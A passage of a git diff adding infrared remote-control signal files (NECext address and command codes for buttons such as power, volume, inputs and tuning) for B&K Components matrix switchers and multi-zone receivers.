01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 03 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 05 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 06 00 00 00 +# +name: INPUT_8 +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 07 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 09 00 00 00 +# +name: INPUT_7 +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 0B 00 00 00 +# +name: INPUT_4 +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 0D 00 00 00 +# +name: INPUT_5 +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 0F 00 00 00 +# +name: STA_- +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 17 00 00 00 +# +name: STA_+ +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 18 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 1B 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 1C 00 00 00 +# +name: C_LEFT +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 1F 00 00 00 +# +name: C_RIGHT +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 24 00 00 00 +# +name: +_10 +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 29 00 00 00 +# +name: C_DOWN +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 2D 00 00 00 +# +name: C_UP +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 2F 00 00 00 +# +name: C_ENTER +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 39 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 3A 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 3B 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 40 00 00 00 +# +name: INPUT_6 +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 4A 00 00 00 +# +name: PRE_+ +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 4B 00 00 00 +# +name: D_-_IN +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 5A 00 00 00 +# +name: INPUT_9 +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 76 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 8E 00 00 00 +# +name: PRE_- +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: C6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/7,143.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/7,143.ir new file mode 100644 index 000000000..a60d93978 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/7,143.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 0F 00 00 00 +# +name: STATION_- +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 17 00 00 00 +# +name: SATION_+ +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 18 00 00 00 +# +name: TUNE__ +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 1B 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 1C 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 24 00 00 00 +# +name: +_10 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 29 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 3A 00 00 00 +# +name: 90 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 3B 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 4A 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 76 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 8E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/71,139.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/71,139.ir new file mode 100644 index 000000000..c60ae7b57 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/71,139.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 02 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 06 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 07 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 0F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 0F 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 24 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 29 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 30 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 37 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 3A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 3E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 3E 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 4A 00 00 00 +# +name: D-IN +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 5A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 5A 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 76 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 8E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/76,59.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/76,59.ir new file mode 100644 index 000000000..2bfd5564d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/76,59.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 03 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 05 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 06 00 00 00 +# +name: INPUT_8 +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 07 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 09 00 00 00 +# +name: INPUT_7 +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 0B 00 00 00 +# +name: INPUT_4 +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 0D 00 00 00 +# +name: INPUT_5 +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 0F 00 00 00 +# +name: STA_- +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 17 00 00 00 +# +name: STA_+ +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 18 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 1B 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 1C 00 00 00 +# +name: C_LEFT +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 1F 00 00 00 +# +name: C_RIGHT +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 24 00 00 00 +# +name: +_10 +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 29 00 00 00 +# +name: C_DOWN +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 2D 00 00 00 +# +name: C_UP +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 2F 00 00 00 +# +name: C_ENTER +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 40 00 00 00 +# +name: INPUT_6 +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 4A 00 00 00 +# +name: MUTEPRE_+ +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 4B 00 00 00 +# +name: D_-_IN +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 5A 00 00 00 +# +name: INPUT_9 +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 76 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: 8E 00 00 00 +# +name: PRE_- +type: parsed +protocol: NECext +address: 4C 3B 00 00 +command: C6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/79,11.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/79,11.ir new file mode 100644 index 000000000..8d96a4de8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/79,11.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 02 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 0F 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 4A 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/91,74.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/91,74.ir new file mode 100644 index 000000000..60be1b88c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/91,74.ir @@ -0,0 +1,326 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 01 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 0F 00 00 00 +# +name: STA_DN +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 17 00 00 00 +# +name: STA_UP +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 18 00 00 00 +# +name: TUNE_DN +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 1B 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 1C 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 1F 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 20 00 00 00 +# +name: VOL_DN +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 23 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 29 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 2D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 2F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 30 00 00 00 +# +name: SELECT_ENTER +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 40 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 4A 00 00 00 +# +name: PSET_UP +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 4B 00 00 00 +# +name: D_IN +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 5A 00 00 00 +# +name: BASS_DN +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 65 00 00 00 +# +name: SOURCE_UP +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 66 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 76 00 00 00 +# +name: TREB_DN +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 79 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 8E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: A2 00 00 00 +# +name: SOURCE_DN +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: A6 00 00 00 +# +name: PSET_DN +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: C6 00 00 00 +# +name: LOUD +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: CF 00 00 00 +# +name: BASS_UP +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: E5 00 00 00 +# +name: M_[STM] +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: EB 00 00 00 +# +name: TREB_UP +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: F9 00 00 00 +# +name: VIDEO_+ +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/95,10.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/95,10.ir new file mode 100644 index 000000000..d3d8348ca --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/95,10.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 03 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 05 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 06 00 00 00 +# +name: INPUT_8 +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 07 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 09 00 00 00 +# +name: INPUT_7 +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 0B 00 00 00 +# +name: INPUT_4 +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 0D 00 00 00 +# +name: INPUT_5 +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 0F 00 00 00 +# +name: STA_- +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 17 00 00 00 +# +name: STA_+ +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 18 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 1B 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 1C 00 00 00 +# +name: C_LEFT +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 1F 00 00 00 +# +name: C_RIGHT +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 29 00 00 00 +# +name: C_DOWN +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 2D 00 00 00 +# +name: C_UP +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 2F 00 00 00 +# +name: C_ENTER +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 3F 00 00 00 +# +name: INPUT_6 +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 4A 00 00 00 +# +name: D-IN +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 5A 00 00 00 +# +name: INPUT_9 +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 76 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 5F 0A 00 00 +command: 8E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/103,137.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/103,137.ir new file mode 100644 index 000000000..85b44a528 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/103,137.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: BK024_POWER_OFF +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 01 00 00 00 +# +name: BK024_POWER_ON +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 02 00 00 00 +# +name: BK024_MUTE +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 03 00 00 00 +# +name: BK024_INPUT_1 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 05 00 00 00 +# +name: BK024_INPUT_3 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 06 00 00 00 +# +name: BK024_INPUT_8 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 07 00 00 00 +# +name: BK024_INPUT_2 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 09 00 00 00 +# +name: BK024_INPUT_7 +type: parsed +protocol: NECext +address: 67 89 00 00 